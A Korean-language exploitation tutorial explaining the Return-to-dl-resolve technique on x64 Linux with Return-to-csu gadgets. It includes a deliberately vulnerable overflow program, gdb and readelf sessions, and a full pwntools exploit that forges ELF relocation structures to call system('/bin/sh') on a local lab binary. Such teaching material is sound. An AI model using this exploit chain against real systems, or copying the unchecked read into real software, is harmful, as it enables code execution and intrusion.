Excuse the ads! We need some help to keep our site up.
List
Return-to-dl-resolve - x64
- Return-to-dl-resolve란 프로그램에서 동적라이브러리 함수의 주소를 찾기 위해 Lazy binding 을 사용할 경우 활용이 가능한 기법입니다.
- Return-to-dl-resolve는 Lazy binding 을 악용해 필요한 함수를 호출합니다.
Lazy binding
- x86과 x64의 Signal & Signal handler 동작은 동일합니다.
Source code - struct
- x86과 x64의 차이점은 Elf32_Rel, Elf32_Sym 구조 대신 Elf64_Rela, Elf64_Sym 구조를 사용하는 것입니다.
- 여기서 중요한 것은 구조체의 크기가 변경된다는 것입니다.
- Elf32_Rel 구조체의 크기(8 byte) → Elf64_Rela 구조체의 크기(24 byte)
- Elf32_Sym 구조체의 크기(16 byte) → Elf64_Sym 구조체의 크기(24 byte)
- 이로 인하여 reloc_offset 값이 주소의 offset 값이 아닌 Elf64_Rela 구조체의 배열 인덱스가 되어야 합니다.
typedef uint64_t Elf64_Addr; typedef uint64_t Elf64_Xword; typedef int64_t Elf64_Sxword; typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ } Elf64_Rela;
typedef uint32_t Elf64_Word; typedef uint16_t Elf64_Section; typedef uint64_t Elf64_Addr; typedef uint64_t Elf64_Xword; typedef struct { Elf64_Word st_name; /* Symbol name (string tbl index) */4 unsigned char st_info; /* Symbol type and binding */1 unsigned char st_other; /* Symbol visibility */1 Elf64_Section st_shndx; /* Section index */2 Elf64_Addr st_value; /* Symbol value */8 Elf64_Xword st_size; /* Symbol size */8 } Elf64_Sym;
- _dl_fixup()함수는 다음과 같이 write() 함수의 이름을 찾습니다.
Proof of concept
Example code
//gcc -fno-stack-protector -o rop rop.c #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; read(0, buf, 512); } void main(){ write(1,"Hello ROP\n",10); vuln(); }
Overflow
- 다음과 같이 Breakpoints를 설정합니다.
0x400566 : vuln 함수 코드 첫부분
0x40057f : read() 함수 호출 전
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ gdb -q ./rop Reading symbols from ./rop...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0000000000400566 <+0>: push rbp 0x0000000000400567 <+1>: mov rbp,rsp 0x000000000040056a <+4>: sub rsp,0x40 0x000000000040056e <+8>: lea rax,[rbp-0x40] 0x0000000000400572 <+12>: mov edx,0x200 0x0000000000400577 <+17>: mov rsi,rax 0x000000000040057a <+20>: mov edi,0x0 0x000000000040057f <+25>: call 0x400440 <read@plt> 0x0000000000400584 <+30>: nop 0x0000000000400585 <+31>: leave 0x0000000000400586 <+32>: ret End of assembler dump. gdb-peda$ b *0x0000000000400566 Breakpoint 1 at 0x400566 gdb-peda$ b *0x000000000040057f Breakpoint 2 at 0x40057f gdb-peda$
- 다음과 같이 Overflow를 확인할 수 있습니다.
Return address(0x7fffffffe488) - buf 변수의 시작 주소 (0x7fffffffe440) = 72
- 즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/dl-resolve/x64/rop Hello ROP Breakpoint 1, 0x0000000000400566 in vuln () gdb-peda$ i r rsp rsp 0x7fffffffe488 0x7fffffffe488 gdb-peda$ c Continuing. Breakpoint 2, 0x000000000040057f in vuln () gdb-peda$ i r rsi rsi 0x7fffffffe440 0x7fffffffe440 gdb-peda$ p/d 0x7fffffffe488 - 0x7fffffffe440 $1 = 72 gdb-peda$
Exploit method
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
- write() 함수를 이용하여 ".got.plt"영역에 저장된 link_map 구조체의 주소(".rela.plt" addr + 0x8)를 추출합니다.
- read() 함수를 이용하여 ".bss" 영역에 2번째 ROP코드를 저장합니다.
- "leave; ret;" Gadget을 이용하여 "2번재 ROP코드"가 저장된 영역으로 이동합니다.
- read() 함수를 이용하여 "l-> l_info [VERSYMIDX (DT_VERSYM)" 영역에 0 을 저장합니다.
- _dl_runtime_resolve() 함수에 전달될 인자 값을 설정합니다.
- _dl_runtime_resolve() 함수를 호출합니다.
- 이를 코드로 표현하면 다음과 같습니다.
#Stage1 #write(1,addr_got+8,8) #read(0,base_stage,400) #JMP base_stage + 8 #Stage2 #read(0,addr_dt_versym,8) #Setting argument values of system() function #_dl_runtime_resolve(struct link_map *l, fake_reloc_offset)
- payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
- Section Headers
- .dynsym
- .dynstr
- .rela.plt
- .plt
- .got.plt
- .bss
- read@got , write@got 주소
- FAKE reloc_offset, Fake Elf64_Rel, Fake Elf64_Sym 구조체
Find Section Headers
- 다음과 같은 방식을 Section Headers를 찾을 수 있습니다.
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ readelf -S ./rop There are 31 section headers, starting at offset 0x1a28: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000400238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000400254 00000254 0000000000000020 0000000000000000 A 0 0 4 [ 3] .note.gnu.build-i NOTE 0000000000400274 00000274 0000000000000024 0000000000000000 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0000000000400298 00000298 000000000000001c 0000000000000000 A 5 0 8 [ 5] .dynsym DYNSYM 00000000004002b8 000002b8 0000000000000078 0000000000000018 A 6 1 8 [ 6] .dynstr STRTAB 0000000000400330 00000330 0000000000000043 0000000000000000 A 0 0 1 [ 7] .gnu.version VERSYM 0000000000400374 00000374 000000000000000a 0000000000000002 A 5 0 2 [ 8] .gnu.version_r VERNEED 0000000000400380 00000380 0000000000000020 0000000000000000 A 6 1 8 [ 9] .rela.dyn RELA 00000000004003a0 000003a0 0000000000000018 0000000000000018 A 5 0 8 [10] .rela.plt RELA 00000000004003b8 000003b8 0000000000000048 0000000000000018 AI 5 24 8 [11] .init PROGBITS 0000000000400400 00000400 000000000000001a 0000000000000000 AX 0 0 4 [12] .plt PROGBITS 0000000000400420 00000420 0000000000000040 0000000000000010 AX 0 0 16 [13] .plt.got PROGBITS 0000000000400460 00000460 0000000000000008 0000000000000000 AX 0 0 8 [14] .text PROGBITS 0000000000400470 00000470 00000000000001b2 0000000000000000 AX 0 0 16 [15] .fini PROGBITS 0000000000400624 00000624 0000000000000009 0000000000000000 AX 0 0 4 [16] .rodata PROGBITS 0000000000400630 00000630 000000000000000f 0000000000000000 A 0 0 4 [17] .eh_frame_hdr PROGBITS 0000000000400640 00000640 000000000000003c 0000000000000000 A 0 0 4 [18] .eh_frame PROGBITS 0000000000400680 00000680 0000000000000114 0000000000000000 A 0 0 8 [19] .init_array INIT_ARRAY 0000000000600e10 00000e10 0000000000000008 0000000000000000 WA 0 0 8 [20] .fini_array FINI_ARRAY 0000000000600e18 00000e18 0000000000000008 0000000000000000 WA 0 0 8 [21] .jcr PROGBITS 0000000000600e20 00000e20 0000000000000008 0000000000000000 WA 0 0 8 [22] .dynamic DYNAMIC 0000000000600e28 00000e28 00000000000001d0 0000000000000010 WA 6 0 8 [23] .got PROGBITS 0000000000600ff8 00000ff8 0000000000000008 0000000000000008 WA 0 0 8 [24] .got.plt PROGBITS 0000000000601000 00001000 0000000000000030 0000000000000008 WA 0 0 8 [25] .data PROGBITS 0000000000601030 00001030 0000000000000010 0000000000000000 WA 0 0 8 [26] .bss NOBITS 0000000000601040 00001040 0000000000000008 0000000000000000 WA 0 0 1 [27] .comment PROGBITS 0000000000000000 00001040 0000000000000035 0000000000000001 MS 0 0 1 [28] .shstrtab STRTAB 0000000000000000 0000191a 000000000000010c 0000000000000000 0 0 1 [29] .symtab SYMTAB 0000000000000000 00001078 0000000000000678 0000000000000018 30 47 8 [30] .strtab STRTAB 0000000000000000 000016f0 000000000000022a 0000000000000000 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), l (large) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$
from pwn import * from struct import * #context.log_level = 'debug' elf = ELF('./rop') # get section address addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr'] addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr'] addr_relaplt = elf.get_section_by_name('.rela.plt').header['sh_addr'] addr_plt = elf.get_section_by_name('.plt').header['sh_addr'] addr_got = elf.get_section_by_name('.got.plt').header['sh_addr'] addr_bss = elf.get_section_by_name('.bss').header['sh_addr'] addr_got_read = elf.got['read'] addr_got_write = elf.got['write'] log.info('Section Headers') log.info('.dynsym : ' + hex(addr_dynsym)) log.info('.dynstr : ' + hex(addr_dynstr)) log.info('.rela.plt : ' + hex(addr_relaplt)) log.info('.plt : ' + hex(addr_plt)) log.info('.got : ' + hex(addr_got)) log.info('.bss : ' + hex(addr_bss)) log.info('read@got : ' + hex(addr_got_read)) log.info('write@got : ' + hex(addr_got_write))
Find gadget
해당 바이너리에서는 "POP RSI", "POP RDI" Gadget을 찾을수 있지만, "POP RDX" Gadget을 찾을 수 없습니다.
- 해당 바이너리에서는 lib 의 주소도 제공되지 않습니다.
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ ./rp-lin-x64 -f ./rop -r 3|grep "pop rsi" 0x00400611: pop rsi ; pop r15 ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ ./rp-lin-x64 -f ./rop -r 3|grep "pop rdi" 0x00400613: pop rdi ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ ./rp-lin-x64 -f ./rop -r 3|grep "pop rdx" lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ ./rp-lin-x64 -f ./rop -r 10|grep "pop rdx" lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$
- 이러한 문제를 해결하기 위해 Return-to-csu 를 이용합니다.
- 다음과 같이 return-to-csu gadget의 주소를 찾을 수 있습니다.
- Gadget 1 : 0x40060a
- Gadget 2 : 0x4005f0
- Gadget 3 : 0x40060d
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ objdump -M intel -d ./rop ./rop: file format elf64-x86-64 Disassembly of section .init: ... Disassembly of section .plt: ... Disassembly of section .text: ... 00000000004005b0 <__libc_csu_init>: 4005b0: 41 57 push r15 4005b2: 41 56 push r14 4005b4: 41 89 ff mov r15d,edi 4005b7: 41 55 push r13 4005b9: 41 54 push r12 4005bb: 4c 8d 25 4e 08 20 00 lea r12,[rip+0x20084e] # 600e10 <__frame_dummy_init_array_entry> 4005c2: 55 push rbp 4005c3: 48 8d 2d 4e 08 20 00 lea rbp,[rip+0x20084e] # 600e18 <__init_array_end> 4005ca: 53 push rbx 4005cb: 49 89 f6 mov r14,rsi 4005ce: 49 89 d5 mov r13,rdx 4005d1: 4c 29 e5 sub rbp,r12 4005d4: 48 83 ec 08 sub rsp,0x8 4005d8: 48 c1 fd 03 sar rbp,0x3 4005dc: e8 1f fe ff ff call 400400 <_init> 4005e1: 48 85 ed test rbp,rbp 4005e4: 74 20 je 400606 <__libc_csu_init+0x56> 4005e6: 31 db xor ebx,ebx 4005e8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 4005ef: 00 4005f0: 4c 89 ea mov rdx,r13 4005f3: 4c 89 f6 mov rsi,r14 4005f6: 44 89 ff mov edi,r15d 4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 4005fd: 48 83 c3 01 add rbx,0x1 400601: 48 39 eb cmp rbx,rbp 400604: 75 ea jne 4005f0 <__libc_csu_init+0x40> 400606: 48 83 c4 08 add rsp,0x8 40060a: 5b pop rbx 40060b: 5d pop rbp 40060c: 41 5c pop r12 40060e: 41 5d pop r13 400610: 41 5e pop r14 400612: 41 5f pop r15 400614: c3 ret 400615: 90 nop 400616: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 40061d: 00 00 00 0000000000400620 <__libc_csu_fini>: 400620: f3 c3 repz ret Disassembly of section .fini: 0000000000400624 <_fini>: 400624: 48 83 ec 08 sub rsp,0x8 400628: 48 83 c4 08 add rsp,0x8 40062c: c3 ret lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$
FAKE reloc_offset, Fake Elf64_Rel, Fake Elf64_Sym
다음과 같이 Fake 정보 영역을 확보합니다.
addr_reloc 영역은 다음과 같이 계산됩니다.
addr_reloc의 기본 영역은 base_stage + 8*26 입니다.
구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.
Elf64_Rel 구조체는 ".rela.plt" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.
base_stage ~ base_stage + 8*26 영역에는 return-to-csu Code가 저장됩니다.
addr_fake_sym 영역은 addr_reloc 에 Elf64_Rel 구조체 크기(24)을 더한 곳에 위치 합니다.
구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.
Elf64_Rel 구조체는 ".dynsym" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.
addr_fake_symstr 영역은 addr_fake_sym 에서 Elf64_Sym 구조체 크기(24)를 더한 곳에 위치 합니다.
addr_fake_cmd 영역은 addr_fake_symstr 에서 문자열 "system\x00"(7)을 더한 곳에 위치 합니다.
다음과 같이 Fake Elf32_Rel, Fake Elf32_Sym에 필요한 정보를 생성합니다.
addr_reloc 값에서 addr_relaplt 값을 빼서 값에 Elf64_Rel 구조체 크기(24)를 나누어서 fake_reloc_offset 값을 생성합니다.
(addr_reloc - addr_relaplt) / 24
fake_r_info 값은 다음과 같이 생성합니다.
addr_fake_sym 값에서 addr_dynsym 값을 뺀값에 구조체의 크기(24)를 나눕니다.
ELF32_R_TYPE 영역을 초기화 하기 위해 해당 값에 32로 '<<' 연산합니다.
ELF32_R_TYPE 값을 저장하기 위해 OR 연산을 이용하여 해당 영역에 0x7을 저장합니다.
addr_fake_symstr 값에서 addr_dynstr 값을 빼서 fake_st_name 값을 생성합니다.
stacksize = 0x600 base_stage = addr_bss + stacksize ... addr_reloc = base_stage + 8*26 align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24) addr_reloc += align_reloc align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24) addr_fake_sym = addr_reloc + 24 addr_fake_sym += align_dynsym addr_fake_symstr = addr_fake_sym + 24 addr_fake_cmd = addr_fake_symstr + 7 fake_reloc_offset = (addr_reloc - addr_relaplt) / 24 fake_r_info = (((addr_fake_sym - addr_dynsym) / 24) << 32) #FAKE ELF32_R_SYM fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE fake_st_name = addr_fake_symstr - addr_dynstr
- 여기서 중요한 것은 "base_stage"영역에 Write(w)권한이 있어야 합니다.
- 해당 영역에 쓰기권한이 없을 경우 _dl_lookup_symbol_x() 함수 처리중 에러가 발생합니다.
- 예를 들어 "addr_bss"의 값이 "0x600a00" 일 경우.
- "stacksize"의 값이 "0x400"이면 "base_stage"의 값이 "0x600e00"이기 때문에 값을 저장할 수 없습니다.(읽기 권한만 있음, 쓰기 권한 없음)
- "stacksize"의 값이 "0x600"이면 "base_stage"의 값이 "0x601000"이기 때문에 값을 저장할 수 있습니다.(읽기, 쓰기 권한 있음)
gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop 0x00600000 0x00601000 r--p /home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop 0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop 0x00007f63119e5000 0x00007f6311ba5000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so ...
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
- 해당 문서에서 제공되는 Exploit code에는 "l->l_info[VERSYMIDX (DT_VERSYM)"영역에 값을 0으로 덮어씁니다.
- "l->l_info[VERSYMIDX (DT_VERSYM)" 코드는 심볼의 버전 정보를 회득하는 부분입니다.
- 해당 영역에 값을 0으로 변경하지 않으면 다음과 같은 에러가 발생합니다.
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ gdb -q ./rop core Reading symbols from ./rop...(no debugging symbols found)...done. [New LWP 94008] Core was generated by `/home/lazenca0x0/Exploit/dl-resolve/x64/rop'. Program terminated with signal SIGSEGV, Segmentation fault. #0 _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92 92 ../elf/dl-runtime.c: No such file or directory. gdb-peda$ bt #0 _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92 #1 0x00007f4f9f9a5923 in _dl_runtime_resolve_avx () at ../sysdeps/x86_64/dl-trampoline.h:112 #2 0x0000000000000000 in ?? () gdb-peda$ x/2i $rip => 0x7f4f9f99da65 <_dl_fixup+117>: movzx eax,WORD PTR [rax+rdx*2] 0x7f4f9f99da69 <_dl_fixup+121>: and eax,0x7fff gdb-peda$ i r rax rax 0x400374 0x400374 gdb-peda$ i r rdx rdx 0x1561b 0x1561b gdb-peda$
- 다음 코드는 에러가 발생한 부분의 코드이며, 에러가 발생한 부분은 "l->l_info[VERSYMIDX (DT_VERSYM)" 입니다.
- if문 안에 있는 코드들은 실행되지 않아도 Return-to-dl-resolve에 영향을 주지 않기 때문에 "l->l_info[VERSYMIDX (DT_VERSYM)" 영역에 값을 변경하여 우회합니다.
const struct r_found_version *version = NULL; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
Exploit code
from pwn import * from struct import * #context.log_level = 'debug' elf = ELF('./rop') # get section address addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr'] addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr'] addr_relaplt = elf.get_section_by_name('.rela.plt').header['sh_addr'] addr_plt = elf.get_section_by_name('.plt').header['sh_addr'] addr_got = elf.get_section_by_name('.got.plt').header['sh_addr'] addr_bss = elf.get_section_by_name('.bss').header['sh_addr'] addr_got_read = elf.got['read'] addr_got_write = elf.got['write'] log.info('Section Headers') log.info('.dynsym : ' + hex(addr_dynsym)) log.info('.dynstr : ' + hex(addr_dynstr)) log.info('.rela.plt : ' + hex(addr_relaplt)) log.info('.plt : ' + hex(addr_plt)) log.info('.got : ' + hex(addr_got)) log.info('.bss : ' + hex(addr_bss)) log.info('read@got : ' + hex(addr_got_read)) log.info('write@got : ' + hex(addr_got_write)) addr_csu_init1 = 0x40060a # addr_csu_init2 = 0x4005f0 # addr_leave_ret = 0x00400585 # leave; ret addr_ret = 0x00400419 # ret stacksize = 0x600 base_stage = addr_bss + stacksize #write(1,addr_got+8,8) buf1 = 'A' * 72 buf1 += p64(addr_csu_init1) buf1 += p64(0) buf1 += p64(1) buf1 += p64(addr_got_write) buf1 += p64(8) buf1 += p64(addr_got+8) buf1 += p64(1) buf1 += p64(addr_csu_init2) #read(0,base_stage,400) buf1 += 'AAAAAAAA' buf1 += p64(0) buf1 += p64(1) buf1 += p64(addr_got_read) buf1 += p64(400) buf1 += p64(base_stage) buf1 += p64(0) buf1 += p64(addr_csu_init2) #JMP base_stage + 8 buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' buf1 += p64(base_stage) # rbp buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' buf1 += p64(addr_leave_ret) binary = ELF('./rop') p = process(binary.path) p.recvn(10) #sleep(20) p.send(buf1) #Get address of addr_dt_versym addr_link_map = u64(p.read(8)) addr_dt_versym = addr_link_map + 0x1c8 addr_reloc = base_stage + 8*26 align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24) addr_reloc += align_reloc align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24) addr_fake_sym = addr_reloc + 24 addr_fake_sym += align_dynsym addr_fake_symstr = addr_fake_sym + 24 addr_fake_cmd = addr_fake_symstr + 7 fake_reloc_offset = (addr_reloc - addr_relaplt) / 24 fake_r_info = (((addr_fake_sym - addr_dynsym) / 24) << 32) #FAKE ELF32_R_SYM fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE fake_st_name = addr_fake_symstr - addr_dynstr log.info('') log.info('Fake Struct Information') log.info('addr_csu_init1 :'+ hex(addr_csu_init1)) log.info('addr_got_read :'+ hex(addr_got_read)) log.info('addr_dt_versym :'+ hex(addr_dt_versym)) log.info('addr_csu_init2 :'+ hex(addr_csu_init2)) log.info('addr_ret :'+ hex(addr_ret)) log.info('base_stage + 8*9 :'+ hex(base_stage + 8*9)) log.info('addr_fake_cmd :'+hex(addr_fake_cmd)) #read(0,addr_dt_versym,8) buf2 = 'AAAAAAAA' buf2 += p64(addr_csu_init1) buf2 += p64(0) buf2 += p64(1) buf2 += p64(addr_got_read) buf2 += p64(8) buf2 += p64(addr_dt_versym) buf2 += p64(0) buf2 += p64(addr_csu_init2) #Setting argument values of system() function buf2 += p64(addr_ret) buf2 += p64(0) buf2 += p64(1) buf2 += p64(base_stage + 8*9) #address of addr_csu_init2 buf2 += 'B' * 8 buf2 += 'B' * 8 buf2 += p64(addr_fake_cmd) #"/bin/sh" buf2 += p64(addr_csu_init2) buf2 += 'C' * 0x38 #_dl_runtime_resolve(struct link_map *l, fake_reloc_offset) buf2 += p64(addr_plt) buf2 += p64(fake_reloc_offset) buf2 += 'A' * align_reloc # Elf64_Rela buf2 += p64(addr_got_read) buf2 += p64(fake_r_info) buf2 += p64(0) buf2 += 'A' * align_dynsym # Elf64_Sym buf2 += p32(fake_st_name) buf2 += p32(0x12) buf2 += p64(0) buf2 += p64(0) #String "system" buf2 += 'system\x00' #String "/bin/sh" buf2 += '/bin/sh\x00' #sleep(10) p.send(buf2) #sleep(10) p.send(p64(0)) p.interactive()
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ python exploit.py [*] '/home/lazenca0x0/Exploit/dl-resolve/x64/rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Section Headers [*] .dynsym : 0x4002b8 [*] .dynstr : 0x400330 [*] .rela.plt : 0x4003b8 [*] .plt : 0x400420 [*] .got : 0x601000 [*] .bss : 0x601040 [*] read@got : 0x601020 [*] write@got : 0x601018 [+] Starting local process '/home/lazenca0x0/Exploit/dl-resolve/x64/rop': pid 19575 [*] [*] Fake Struct Information [*] addr_csu_init1 :0x40060a [*] addr_got_read :0x601020 [*] addr_dt_versym :0x7f9b90b08330 [*] addr_csu_init2 :0x4005f0 [*] addr_ret :0x400419 [*] base_stage + 8*9 :0x601688 [*] addr_fake_cmd :0x601757 [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
References
- http://phrack.org/issues/58/4.html#article
- http://inaz2.hatenablog.com/entry/2014/07/27/205322
- http://rk700.github.io/2015/08/09/return-to-dl-resolve/
- https://gist.github.com/icchy/1b702fc56ec37844f711
- http://pwdme.cc/2017/09/27/bypassing-aslr-dep-using-rop-return-to-dl-resolve-in-64-bit-system/